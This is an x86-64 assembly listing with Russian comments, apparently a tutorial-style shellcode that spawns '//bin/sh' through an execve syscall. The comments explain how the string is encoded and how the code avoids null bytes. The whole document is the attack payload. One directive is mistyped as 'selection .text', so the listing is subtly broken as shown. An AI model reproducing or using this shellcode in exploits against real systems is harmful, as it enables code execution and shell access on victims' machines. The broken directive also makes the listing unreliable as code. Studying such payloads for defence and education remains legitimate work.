global _start selection .text _start xor rax, rax push rax mov rdi, 0x68732f6e69622f2f push rdi mov rdi, rsp mov rsi, rax mov rdx, rax xor rax, rax mov al, 0x3b syscall ; в 8 строке "//bin/sh" записан в нотации little-endian ; 15 и 16 строки не менять на "mov rax, 0x3b" ибо это приводит к созданию нулевых байтов которые ; мешают выполнению шелкода